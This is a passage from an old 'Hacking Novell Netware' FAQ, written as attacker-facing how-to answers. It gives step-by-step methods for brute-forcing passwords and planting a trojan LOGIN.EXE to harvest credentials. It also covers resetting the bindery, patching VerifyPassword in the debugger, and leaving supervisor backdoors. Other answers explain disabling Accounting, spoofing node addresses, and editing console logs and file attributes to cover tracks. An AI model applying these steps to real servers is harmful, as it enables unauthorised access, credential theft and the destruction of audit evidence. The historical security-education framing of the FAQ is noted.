1614 lines
72 KiB
Plaintext
1614 lines
72 KiB
Plaintext
From the Nomad Mobile Research Centre:
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Frequently Asked Questions
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"Hacking Novell Netware"
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Beta Version 1
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Compiled by Simple Nomad
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Contributions (and thanks to):
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The LAN God mark_motley@candle.com
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Teiwaz teiwaz@wolfe.net
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Also thanks to Fauzan and BioHazard
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And many, many others who requested anonymity or didn't realize they were
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contributing ;-)
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Tech Support (and special thanks to):
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itsme - infamous Netware Netherlands hack fame
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Coming in the future to this FAQ - Netware API info!!
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---------------------------------------------------------------------------
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---------------------------------------------------------------------------
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Contents
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Section 00
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General Info
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00-1. What is this "FAQ" for?
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00-2. What is the origin of this FAQ and how do I add to it?
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00-3. Is this FAQ available by anonymous FTP?
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Section 01
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Getting Access to Accounts
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01-1. How do I access the password file in Novell Netware?
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01-2. How do I crack Novell Netware passwords?
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01-3. What are common accounts and passwords in Novell Netware?
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01-4. How can I figure out valid account names on Novell Netware?
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01-5. What is the "secret" method to gain Supervisor access Novell used to teach
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in CNE classes?
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01-6. What is the cheesy way to get Supervisor access?
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01-7. How do I leave a backdoor?
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01-8. Can sniffing packets help me break in?
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01-9. What is Packet Signature and how do I get around it?
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01-10. How do I use SETPWD.NLM?
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01-11. What's the "debug" way to disable passwords?
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Section 02
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Other Security Items
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02-1. What is Accounting?
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02-2. How do I defeat Accounting?
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02-3. What is Intruder Detection?
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02-4. What are station/time restrictions?
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02-5. How do I spoof my node or IP address?
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02-6. How do I defeat console logging?
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Section 03
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File and Directory Access
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03-1. How can I see hidden files and directories?
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03-2. How do I defeat the execute-only flag?
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03-3. How can I hide my presence after altering files?
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03-4. What is a Netware-aware trojan?
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03-5. What are Trustee Directory Assignments?
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03-6. Are there any default Trustee Assignments that can be exploited?
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Section 04
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Miscellaneous Info on Netware
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04-1. Why can't I get through the 3.x server to another network via TCP/IP?
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04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
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04-3. How can I login without running the System Login Script?
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04-4. How do I remotely reboot a Netware 3.x file server?
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04-5. How can I abend a Netware server? And why?
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04-6. What is interesting about Netware 4.x's licensing?
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Section 05
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Resources
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05-1. What are some Netware FTP locations?
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05-2. Can I get files without FTP?
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05-3. What are some Netware WWW locations?
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05-4. What printed material might be helpful?
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05-5. Where can I get the files mentioned in this FAQ?
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05-6. What are some good books for Netware?
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Section 06
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Netware APIs
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06-1. Where can I get the Netware APIs?
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Section 07
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For Administrators Only
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07-1. How do I secure my server?
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07-2. I'm an idiot. Exactly how do hackers get in?
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---------------------------------------------------------------------------
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Section 00
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General Info
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---------------------------------------------------------------------------
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00-1. What is this "FAQ" for?
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This FAQ contains information about hacking Novell Netware. It is intented to
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show what and how regarding hacking on Netware, and by illustrating this in
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explicit detail show how sys admins can improve security and prevent break-ins.
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Most of the information in this FAQ was compiled and collected from various
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sources freely available on the Internet. In fact, most of the information here
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is OLD info for serious Netware hackers. Some of the info was collected from
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these serious Netware hackers, and still more was collected from "tiger team"
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security sweeps that I have been involved in.
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You will also find hints and generally good ideas for improving and/or expanding
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an existing system. This FAQ is a good reference for sys admins as well as
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hackers.
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---------------------------------------------------------------------------
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00-2. What is the origin of this FAQ and how do I add to it?
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Send comments about info in this FAQ to thegnome@fastlane.net. Simple flames
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about typos, the "that's not right" one liners will be ignored. If you wish to
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contribute corrections please include your research and source of facts. Also
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if you wish to add your information, I will include it if I can include your
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email address, unless I can verify the info independently. This way if someone
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has questions, they can bug you, not me.
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---------------------------------------------------------------------------
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00-3. Is this FAQ available by anonymous FTP or WWW?
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Look for it in jumper.mcc.ac.uk in the /pub/security/netware directory, or
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(very soon) at http://resudox.net/bio/mainpage.html.
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---------------------------------------------------------------------------
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---------------------------------------------------------------------------
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Section 01
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Getting Access to Accounts
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---------------------------------------------------------------------------
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01-1. How do I access the password file in Novell Netware?
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Contrary to not-so-popular belief, access to the password file in Netware is
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not like Unix - the password file isn't in the open. All objects and their
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properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS
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database in 4.x. An example of an object might be a printer, a group, an
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individual's account etc. An example of an object's properties might include
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an account's password or full user name, or a group's member list or full
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name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden
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and System, and these files are located on the SYS: volume in the SYSTEM
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subdirectory. Their names are as follows:
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Netware version File Names
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--------------- ----------
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2.x NET$BIND.SYS, NET$BVAL.SYS
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3.x NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS
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The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located
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in 2.x and 3.x respectively.
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In Netware 4.x, the files are physically located in a different location than
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on the SYS: volume. However, by using the RCONSOLE utility and using the
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Scan Directory option, you can see the files in SYS:_NETWARE:
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File What it is
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-------------- --------------------------
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VALUE.NDS Part of NDS
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BLOCK.NDS Part of NDS
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ENTRY.NDS Part of NDS
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PARTITIO.NDS Type of NDS partition (replica, master, etc.)
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MLS.000 License
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VALLINCEN.DAT License validation
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Here is another way to view these files, and potentially edit them. After
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installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On
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volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on
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4.1 than 4.0x, but in 4.1 you can still see the files by scanning directory
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entry numbers using NCP calls (you need the APIs for this) using function
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0x17 subfunction 0xF3.
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---------------------------------------------------------------------------
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01-2. How do I crack Novell Netware passwords?
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There are a few ways to approach this. First, we'll assume Intruder Detection
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is turned off. We'll also assume unencrypted passwords are allowed. Hopefully
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you won't have to deal with packet signature (see 01-9 below) Then we'll assume
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you have access to the console. Finally we'll assume you can plant some kind of
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password catcher. Access to a sniffer might help. These are a lot of ifs.
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If Intruder Detection is off, you can just guess the password until you get
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it. This can be automated by writing a program that continually guesses
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passwords, or by using a program that does just that. One program that I am
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aware of is NOVELBFH.EXE (for version 3.x only). This program will try passwords
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like aa, ab, ac and so on until every legal character combination has been tried.
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You will eventually get the password. However this assumes you have 1) a lot of
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time since it takes a second or two for each try (more on a dial-up link), and
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2) access to a machine that will run one of these programs for hours, even days.
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And if Intruder Detection is on you will be beeping the System Console every
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couple of seconds and time-stamping your node address to the File Server Error
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Log.
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Encrypted passwords is Novell's way of protecting passwords from sniffers.
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Since older versions of Netware (2.15c) sent passwords as plain text over the
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wire, a sniffer could see the password as it went by. To secure things,
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Novell gave the administrator a way to control this. Later versions of the
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LOGIN.EXE program would encrypt the password before transmitting it across
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the wire to the server. But before this could happen, the shell (NETX) had
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to be updated. Since some locations had to have older shells and older
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versions of LOGIN.EXE to support older equipment, the administrator has the
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option of allowing unencrypted passwords to access the server. This is done
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by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it
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to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping
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the server console every attempt! Fortunately most sites turn this switch on to
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support some old device.
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If you have access to the console, either by standing in front of it or by
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RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords.
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Just load the NLM and pass it command line parameters:
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NLM Account(s) reset Netware version(s) supported
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------------ ----------------- ----------------------------
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SETSPASS.NLM SUPERVISOR 3.x
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SETSPWD.NLM SUPERVISOR 3.x, 4.x
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SETPWD.NLM any valid account 3.x, 4.x
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See 01-10 for more SETPWD.NLM info.
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If you can plant a password catcher or keystroke reader, you can get them
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this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and
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normally you will not have access to put a file in that directory. The best
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place to put a keystroke capture program is in the workstation's path, with
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the ATTRIB set as hidden. The advantage is that you'll get the password and
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Netware won't know you swiped it. The disadvantage is getting access to the
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machine to do this. The very best place to put one of these capture programs
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is on a common machine, like a pcAnywhere box, which is used for remote access.
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Many locations will allow pcAnywhere access to a machine with virtually no
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software on it, and control security access to the LAN by using Netware's
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security features. Uploading a keystroke capture program to a machine like
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this defeats this.
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If the system is being backed up via a workstation, this can be used as a
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good entry point. These workstations have to have supe equiv to back up the
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bindery and other system files. If you can access this workstation or use
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the backup systems user account name then you can get supe level login.
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itsme, the notorious Netherlands Netware hacker, developed KNOCK.EXE by
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rewriting one byte of ATTACH.EXE to try without a password to get into a
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server. KNOCK.EXE utilitzes a bug that allows a non-password attach to get
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in. This works on versions of Netware earlier than 2.2, and 3.11. Later
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versions have the bug fixed. Given enough time you will get in.
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Another alternative is the replacement LOGIN.EXE by itsme. This jewel,
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coupled with PROP.EXE, will create a separate property in the bindery on a
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2.x or 3.x server that contains the passwords. Here is the steps to use
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these powerful tools:
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- Gain access to a workstation logged in as Supervisor or equivalent (or
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use another technique described elsewhere for getting this type of access)
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- Run the PROP.EXE file with a -C option. This creates the new property for
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each bindery object. Remember, you must be a Supe for this step.
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- Replace the LOGIN.EXE in the SYS:LOGIN directory with itsme's. Be sure
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to flag it SRO once replaced.
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- Now it is set. Keep PROP.EXE on a floppy, and check the server with any
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valid login, Supervisor or not, after a week or two.
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- To check the passwords captured, type PROP -R after your logged in. You
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can redirect it to a file or printer. A list of accounts and passwords,
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valid and working, are yours.
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- Don't forget to hide your presence! See section 03-3 for details.
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---------------------------------------------------------------------------
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01-3. What are common accounts and passwords in Novell Netware?
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Out of the box Novell Netware has the following default accounts -
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SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All
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of these have no password to start with. Virtually every installer quickly
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gives SUPERVISOR and ADMIN a password. However, many locations will create
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special purpose accounts that have easy-to-guess names, some with no
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passwords. Here are a few and their typical purposes:
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Account Purpose
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---------- ------------------------------------------------------
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PRINT Attaching to a second server for printing
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LASER Attaching to a second server for printing
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HPLASER Attaching to a second server for printing
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PRINTER Attaching to a second server for printing
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LASERWRITER Attaching to a second server for printing
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POST Attaching to a second server for email
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MAIL Attaching to a second server for email
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GATEWAY Attaching a gateway machine to the server
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GATE Attaching a gateway machine to the server
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ROUTER Attaching an email router to the server
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BACKUP May have password/station restrictions (see below), used
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for backing up the server to a tape unit attached to a
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workstation. For complete backups, Supervisor equivalence
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is required.
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WANGTEK See BACKUP
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FAX Attaching a dedicated fax modem unit to the network
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FAXUSER Attaching a dedicated fax modem unit to the network
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FAXWORKS Attaching a dedicated fax modem unit to the network
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TEST A test user account for temp use
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This should give you an idea of accounts to try if you have access to a
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machine that attaches to the server. A way to "hide" yourself is to give
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GUEST or USER_TEMPLATE a password. Occassionally admins will check up on
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GUEST, but most forget about USER_TEMPLATE. In fact, _I_ forgot about
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USER_TEMPLATE until itsme reminded me.
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A common mistake regarding RCONSOLE passwords is to use a switch to use
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only the Supervisor password. It works like this:
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LOAD REMOTE /P=
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instead of
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LOAD REMOTE RCONPASSWORD
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The admin believes /P= turns off everything except the Supe password for
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RCONSOLE. In fact the password is just set to /P= which will get you in!
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The second most common mistake is using -S.
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---------------------------------------------------------------------------
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01-4. How can I figure out valid account names on Novell Netware?
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Any limited account should have enough access to allow you to run SYSCON,
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located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter.
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Now go to User Information and you will see a list of all defined accounts.
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You will not get much info with a limited account, but you can get the
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account and the user's full name.
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If your in with any valid account, you can run USERLST.EXE and get a list
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of all valid account names on the server.
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If you don't have access (maybe the sys admin deleted the GUEST account,
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a fairly common practice), you can't just try any account name at the LOGIN
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prompt. It will ask you for a password whether the account name is valid or
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not, and if it is valid and you guees the wrong password, you could be
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letting the world know what you're up to if Intruder Detection is on. But
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there is a way to determine if an account is valid.
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From a DOS prompt use a local copy (on your handy floppy you carry
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everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through
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NETX or VLM, Try to map a drive using the server name and volume SYS:.
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For example:
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MAP G:=TARGET_SERVER/SYS:APPS <enter>
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Since you are not logged in, you will be prompted for a login ID. If it
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is a valid ID, you will be prompted for a password. If not, you will
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immediately receive an error. Of course, if there is no password for the
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ID you use you will be attached and mapped to the server. You can do the
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same thing with ATTACH.EXE:
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ATTACH TARGET_SERVER/loginidtotry <enter>
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The same thing will happen as the MAP command. If valid, you will be
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prompted for a password. If not, you get an error.
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Another program to check for valid users and the presence of a password is
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CHKNULL.EXE by itsme. This program checks for users and whether they have
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a password assigned.
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---------------------------------------------------------------------------
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01-5. What is the "secret" method to gain Supervisor access Novell used to teach
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in CNE classes?
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Before I start this section, let me recommend another solution, my God, ANY
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other solution is better than this! If you are running 3.x, jump to the end of
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this section.
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The secret method is the method of using a DOS-based sector editor to edit the
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entry in the FAT, and reset the bindery to default upon server reboot. This gives
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you Supervisor and Guest with no passwords. The method was taught in case you
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lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts
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created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.
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While you get a variety of answers from Novell about this technique, from it
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doesn't work to it is technically impossible, truth be it it can be done. Here
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are the steps, as quoted from comp.os.netware.security, with my comments in
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[brackets]:
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[start of quote]
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A Netware Server is supposed to be a very safe place to keep your files. Only
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people with the right password will have access to the data stored there. The
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Supervisor (or Admin) user's password is usually the most well kept secret in
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the company, since anyone that has that code could simply log to the server and
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do anything he/she wants.
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But what happens if this password is lost and there's no user that is
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security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process,
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see 01-10 below - S.N.] What happens if the password system is somehow damaged
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and no one can log to the network? According to the manual, there's simply no
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way out. You would have to reinstall the server and try to find your most recent
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backup.
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Fortunately, there is a very interesting way to gain complete access to a Netware
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server without knowing the Supervisor's (or Admin's) password. You may imagine
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that you would have to learn complex decryption techniques or even type in a long
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C program, but that's not the case. The trick is so simple and generic that it
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will work the same way for Netware 2.x, 3.x and 4.x.
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The idea is to fool Netware to think that you have just installed the server and
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that no security system has been estabilished yet. Just after a Netware 2.x or
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3.x server is installed, the Supervisor's password is null and you can log in
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with no restriction. Netware 4.x works slightly differently, but it also allows
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anyone to log in after the initial installation, since the installer is asked to
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enter a password for the Admin user.
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But how can you make the server think it has just been installed without
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actually reinstalling the server and losing all data on the disk? Simple. You
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just delete the files that contain the security system. In Netware 2.x, all
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security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS).
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Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and
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NET$PROP.SYS). The all new Netware 4.x system stores all login names and
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passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS
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and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).
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One last question remains. How can we delete these files if we don't have access
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to the network, anyway? The answer is, again, simple. Altough the people from
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Novell did a very good job encrypting passwords, they let all directory
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information easy to find and change if you can access the server's disk directly,
|
|
using common utilities like Norton's Disk Edit. Using this utility as an example,
|
|
I'll give a step-by-step procedure to make these files vanish. All you need is a
|
|
bootable DOS disk, Norton Utilities' Emergency Disk containing the DiskEdit
|
|
program and some time near the server.
|
|
|
|
1. Boot the server and go to the DOS prompt. To do this, just let the network
|
|
boot normally and then use the DOWN and EXIT commands. This procedure does not
|
|
work on old Netware 2.x servers and in some installations where DOS has been
|
|
removed from memory. In those cases, you'll have to use a DOS bootable disk.
|
|
|
|
2. Run Norton's DiskEdit utility from drive A:
|
|
|
|
3. Select "Tools" in the main menu and then select "Configuration". At the
|
|
configuration window, uncheck the "Read-Only" checkbox. And be very careful with
|
|
everything you type after this point.
|
|
|
|
4. Select "Object" and then "Drive". At the window, select the C: drive and make
|
|
sure you check the button "physical drive". After that, you'll be looking at your
|
|
physical disk and you be able to see (and change) everything on it.
|
|
|
|
5. Select "Tools" and then "Find". Here, you'll enter the name of the file you
|
|
are trying to find. Use "NET$BIND" for Netware 2, "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a
|
|
place that is not the Netware directory. If the file names are not all near each
|
|
other and proportionaly separated by some unreadable codes (at least 32 bytes
|
|
between them), then you it's not the place we are looking for. In that case,
|
|
you'll have to keep searching by selecting "Tools" and then "Find again". [In
|
|
Netware 3.x, you can change all occurences of the bindery files and it should
|
|
still work okay, I've done it before. - S.N.]
|
|
|
|
6. You found the directory and you are ready to change it. Instead of deleting
|
|
the files, you'll be renaming them. This will avoid problems with the directory
|
|
structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or
|
|
"NDS" extension. Be extremely careful and don't change anything else.
|
|
|
|
7. Select "Tools" and then "Find again". Since Netware store the directory
|
|
information in two different places, you have to find the other copy and change
|
|
it the same way. This will again prevent directory structure problems.
|
|
|
|
8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2
|
|
or 3, your server would be already accessible. Just go to any station and log in
|
|
as user Supervisor. No password will be asked. If you're running Netware 4, there
|
|
is one last step.
|
|
|
|
9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt)
|
|
and select the options to install the Directory Services. You be prompted for the
|
|
Admin password while doing this. After that, you may go to any station and log in
|
|
as user Admin, using the password that you have selected.
|
|
|
|
What I did with Norton's Disk Edit could be done with any disk editing utility
|
|
with a "Search" feature. This trick has helped me save many network supervisors
|
|
in the last years. I would just like to remind you that no one should break into
|
|
a netware server unless authorized to do it by the company that owns the server.
|
|
But you problably know that already.
|
|
[end of quote]
|
|
|
|
I actually had this typed up but kept changing it, so I stole this quote from
|
|
the newsgroup to save me retyping ;-)
|
|
|
|
Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and
|
|
downs the server. Reboot and you have Supe and Guest, no password.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
01-6. What is the cheesy way to get Supervisor access?
|
|
|
|
The cheesy way is the way that will get you in, but it will be obvious to the
|
|
server's admin that the server has been compromised. This technique works for
|
|
3.11.
|
|
|
|
Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following
|
|
things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account
|
|
on the server is made a supe equivalent, and 3) the sys admin is going to know
|
|
very quickly something is wrong. What the admin will do is remove the supe rights
|
|
from all accounts that are not supposed to have it and change the Supervisor
|
|
password back. The only thing you can do is leave a backdoor for yourself (see
|
|
next question).
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
01-7. How do I leave a backdoor?
|
|
|
|
Once you are in, you want to leave a way back with supe equivalency. You can use
|
|
SUPER.EXE, written for the express purpose of allowing the non-supe user to
|
|
toggle on and off supe equivalency. If you use the cheesy way in (previous
|
|
question), you turn on the toggle before the admin removes your supe
|
|
equivalency. If you gain access to a supe equivalent account, give Guest supe
|
|
equivalency and then login as Guest and toggle it on. Now get back in as the
|
|
original supe account and remove the supe equivalency. Now Guest can toggle on
|
|
supe equivalency whenever it's convenient.
|
|
|
|
Of course Guest doesn't have to be used, it could be another account, like an
|
|
account used for e-mail administration or an e-mail router, a gateway's account,
|
|
you get the idea.
|
|
|
|
Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix
|
|
will give away that an account has been altered at the bindery level, but the
|
|
only way for an admin to clear the error is to delete and rebuild the account.
|
|
|
|
Another backdoor is outlined in section 01-2 regarding the replacement LOGIN.EXE
|
|
and PROP.EXE
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
01-8. Can sniffing packets help me break in?
|
|
|
|
Yes. If a user is logging in and the password is being transmitted to the server
|
|
unencrypted, it will show up as plain text in the trace. If the site uses telnet
|
|
and ftp, capturing those password will come in handy. Outside of gaining access
|
|
to another system, many users will make their passwords the same across all
|
|
systems.
|
|
|
|
For a list of DOS-based sniffers, see the alt.2600/#hack FAQ. I personally
|
|
prefer the Network General Sniffer ;-)
|
|
|
|
You can use a brute force cracker on captured encrypted passwords. As I have
|
|
more tools and details, I will provide them here.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
01-9. What is Packet Signature and how do I get around it?
|
|
|
|
Packet signatures works by using an intermediate step during the encrypted
|
|
password login call, to calculate a 64-bit signature. This block is never
|
|
transmitted over the wire, but it is used as the basis for a
|
|
cryptographically strong signature ("secure hash") on the most important
|
|
part of each NCP packet exchange.
|
|
|
|
A signed packet can indeed be taken as proof sufficient that the packet came
|
|
from the claimed PC.
|
|
|
|
NCP Packet Signature is Novell's answer to the work of the folks in the
|
|
Netherlands in hacking Netware. The idea behind it is to prevent forged
|
|
packets and unauthorized Supervisor access. It is an add-on option in 3.11,
|
|
but a part of the system with 3.12 and 4.x. Here are the signature levels
|
|
at the client and server:
|
|
|
|
Packet Signature Option and meaning:
|
|
0 = Don't do packet signatures
|
|
1 = Do packet signatures if required
|
|
2 = Do packet signatures if you can but don't if the other end doesn't support
|
|
them
|
|
3 = Require packet signatures
|
|
|
|
You can set the same settings at the workstation server. The default for packet
|
|
signatures is 2 at the server and client. If you wish to use a tool like
|
|
HACK.EXE, try setting the signature level at 0 on the client by adding
|
|
Signature Level=0 in the client's NET.CFG. If packet signatures are required
|
|
at the server you won't even get logged in, but if you get logged in, hack away.
|
|
|
|
If you wish to change the signature level at the server, use a set command at
|
|
the server console:
|
|
|
|
SET NCP PACKET SIGNATURE OPTION=2
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
01-10. How do I use SETPWD.NLM?
|
|
|
|
You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use
|
|
the Transfer Files To Server option and put the file in SYS:SYSTEM.
|
|
|
|
For 3.x:
|
|
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
|
|
|
|
For 4.x:
|
|
set bindery context = [context, e.g. hack.corp.us]
|
|
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
|
|
|
|
In 4.x the change is replicated so you have access to all the other servers
|
|
in the tree. And don't forget, you must follow the password requirements in
|
|
SYSCON for this to work. That is, if the account you are changing normally
|
|
requires a 6 character password, then you'll need to supply a 6 character
|
|
password.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
01-11. What's the "debug" way to disable passwords?
|
|
|
|
You must be at the console to do this:
|
|
|
|
<left-shift><right-shift><alt><esc> Enters debugger
|
|
type "c VerifyPassword=B8 0 0 0 0 C3"
|
|
type "g"
|
|
|
|
This disables the password checking. Now Supe won't ask for a password. To
|
|
restore password checking from debugger, do this:
|
|
|
|
first type "d VerifyPassword 5" and write down the 5 byte response,
|
|
then type "c VerifyPassword=xx xx xx xx xx"
|
|
then type "g"
|
|
|
|
---------------------------------------------------------------------------
|
|
---------------------------------------------------------------------------
|
|
|
|
Section 02
|
|
|
|
Other Security Items
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
02-1. What is Accounting?
|
|
|
|
Accounting is Novell's pain in the butt way to control and manage access to
|
|
the server in a way that is "accountable". The admin set up charge rates for
|
|
blocks read and written, service requests, connect time, and disk storage.
|
|
The account "pays" for the service by being given some number, and the
|
|
accounting server deduces for these items. How the account actually pays
|
|
for these items (departmental billing, cash, whatever) you may or may not
|
|
want to know about, but the fact that it could be installed could leave a
|
|
footprint that you've been there.
|
|
|
|
Any valid account, including non-supe accounts, can check to see if
|
|
Accounting is turned on. Simply run SYSCON and try to access Accounting,
|
|
if you get a message that Accounting is not installed, then guess what?
|
|
|
|
Since it is a pain to administer, many sys admins will turn it on simply
|
|
to time-stamp each login and logout, track intruders, and include the
|
|
node address and account name of each of these items.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
02-2. How do I defeat Accounting?
|
|
|
|
Turn it off. And spoof your node address. Here's the steps -
|
|
|
|
- Spoof your address (see below). Use a supe account's typical node
|
|
address as your own.
|
|
|
|
- If you are using a backdoor, activate it with SUPER.EXE.
|
|
|
|
- Delete Accounting by running SYSCON, selecting Accounting, Accounting
|
|
Servers, hitting the delete key, and answering yes when asked if you
|
|
wish to delete accounting. The last entry in the NET$ACCT.DAT file will
|
|
be your login time-stamped with the spoofed node address.
|
|
|
|
- Now do what you will in the system. Use a different account if you
|
|
like, it won't show up in the log file.
|
|
|
|
- When done, login with the original account, run SYSCON and
|
|
re-install Accounting. Immediately logout, and the next line in the
|
|
NET$ACCT.DAT file will be your logout, showing a login and logout
|
|
with the same account name, nice and neat.
|
|
|
|
If you can't spoof the address (some LAN cards don't allow it or require
|
|
extra drivers you may not have), just turn off Accounting and leave it
|
|
off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
|
|
directory.
|
|
|
|
It should be noted that to turn off and on Accounting you need supe
|
|
equivalent, but you don't need supe equivalence to spoof the address.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
02-3. What is Intruder Detection?
|
|
|
|
Intruder Detection is Novell's way of tracking invalid password attempts. While
|
|
this feature is turned off by default, most sites practicing any type of security
|
|
will at minimum turn this feature on. There are several parameters to Intruder
|
|
Detection. First, there is a setting for how long the server will remember a bad
|
|
password attempt. Typically this is set to 30 minutes, but can be as short as 10
|
|
minutes of as long as 7 days. Then there is a setting for how many attempts will
|
|
lockout the account. This is usually 3 attempts, but can be as short as 1 or as
|
|
many as 7. Finally is the length the account is locked out. The default is 30
|
|
minutes but it can range from 10 minutes to 7 days.
|
|
|
|
When an Intruder Detection occurs, the server beeps and a time-stamped message is
|
|
displayed on the System Console with the account name that is now locked out and
|
|
the node address from where to attempt came from. This is also written to the
|
|
File Server Error Log. A Supervisor or equivalent can unlock the account before
|
|
it frees itself up, and the File Server Error Log can also be erased by a
|
|
Supervisor or equivalent.
|
|
|
|
In a large shop, it is not unusual to see Intruder Lockouts even on a daily
|
|
basis, and forgetting a password is a typical regular-user thing to do. Intruder
|
|
Lockouts on Supervisor or equivalent account is usually noticed.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
02-4. What are station/time restrictions?
|
|
|
|
Time restrictions can be placed on an account to limit the times in which
|
|
an account can be logged in. In the account is already logged in and the
|
|
time changes to a restricted time, the account is logged out. The
|
|
restriction can be per weekday down to the half hour. That means that if
|
|
an admin wants to restrict an account from logging in except on Monday
|
|
through Friday from 8-5, it can be done. Only Supervisor and equivalents
|
|
can alter time restrictions. Altering the time at the workstation will
|
|
not get you around time restrictions, only altering time at the server
|
|
can change the ability to access.
|
|
|
|
Station restriction place a restriction on _where_ an account can be used.
|
|
Restrictions can be to a specific token ring or ethernet segment, and can
|
|
be specific down to the MAC layer address, or node address. The only way
|
|
around a station restriction at the node address is to spoof the address
|
|
from a workstation on the same segment or ring as the address you are
|
|
spoofing. Like time restrictions, only Supervisor and equivalents
|
|
can alter station restrictions.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
02-5. How do I spoof my node or IP address?
|
|
|
|
This will depend greatly on what kind of network interface card (NIC) the
|
|
workstation has, as to whether you can perform this function. Typically you
|
|
can do it in the Link Driver section of the NET.CFG file by adding the
|
|
following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12
|
|
digit MAC layer address. This assumes you are using Netware's ODI drivers,
|
|
if you are using NDIS drivers you will have to add the line to a
|
|
PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.
|
|
|
|
For an IP address, you may have to run a TCPIP config program to make it
|
|
work (it depends on whose IP stack you are running). Some implementations
|
|
will have the mask, the default router and the IP address in the NET.CFG,
|
|
some in the TCPIP.CFG. It is a good idea to look around in all network-
|
|
related subdirectories to see if there are any .CFG, .INI, or .NIF files
|
|
that may contain addresses.
|
|
|
|
Getting the target node address should be pretty easy. Login with any
|
|
account and do a USERLIST /A. This will list all accounts currently logged
|
|
in with their network and node address. If your workstation is on the same
|
|
network as the target, you can spoof the address no problem. Actually you
|
|
can spoof the address regardless but to defeat station restrictions you
|
|
must be on the same network.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
02-6. How do I defeat console logging?
|
|
|
|
Here you need console and Supervisor access. The site is running 3.11 or
|
|
higher and running the CONLOG.NLM. Any site running this is trapping all
|
|
console messages to a file. If you run SETPWD at the console, the response
|
|
by SETPWD is written to a log file. Here's the steps for determining if it
|
|
is running and what to do to defeat it:
|
|
|
|
- Type MODULES at the console. Look for the CONLOG.NLM. If it's there, it's
|
|
running.
|
|
|
|
- Look on the server in SYS:ETC for a file called CONSOLE.LOG. This is a
|
|
plain text file that you can type out. However you cannot delete or edit it
|
|
while CONLOG is running.
|
|
|
|
- Unload CONLOG at the console.
|
|
|
|
- Delete, or even better yet, edit the CONSOLE.LOG file, erasing your tracks.
|
|
|
|
- Reload CONLOG. It will show that is has been restarted in the log.
|
|
|
|
- Check the CONSOLE.LOG file to ensure the owner has not changed.
|
|
|
|
- Run PURGE in the SYS:ETC directory to purge old versions of CONSOLE.LOG
|
|
that your editor have left to be salvaged.
|
|
|
|
---------------------------------------------------------------------------
|
|
---------------------------------------------------------------------------
|
|
|
|
Section 03
|
|
|
|
File and Directory Access
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
03-1. How can I see hidden files and directories?
|
|
|
|
Instead of a normal DIR command, use NDIR to see hidden files and
|
|
directories. NDIR *.* /S /H will show you just Hidden and System files.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
03-2. How do I defeat the execute-only flag?
|
|
|
|
If a file is flagged as execute-only, it can still be opened. Open the file
|
|
with a program that will read in executables, and do a Save As to another
|
|
location.
|
|
|
|
Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But
|
|
once again X-AWAY.EXE requires Supervisor access.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
03-3. How can I hide my presence after altering files?
|
|
|
|
The best way is to use Filer. Here are the steps for removing file
|
|
alterations -
|
|
|
|
- Run Filer or use NDIR and note the attributes of the target file, namely
|
|
the date and owner of the file.
|
|
|
|
- Make your changes or access the file.
|
|
|
|
- Run Filer or use NDIR and check to see if the attributes have changed. If
|
|
so, change them back to the original settings.
|
|
|
|
While you can hit F1 will in Filer and get all the context-sensitive help
|
|
you need, the quicky way to get where you're going is to run Filer in the
|
|
target file's directory, select Directory Contents, highlight the target
|
|
file and hit enter, select File Options and then View/Set File Information.
|
|
View and edit to your heart's desire.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
03-4. What is a Netware-aware trojan?
|
|
|
|
A Netware-aware trojan is a program that supposedly does one thing but does
|
|
another instead, and does it using Netware API calls. I have never personally
|
|
encountered one, but here is how they would work.
|
|
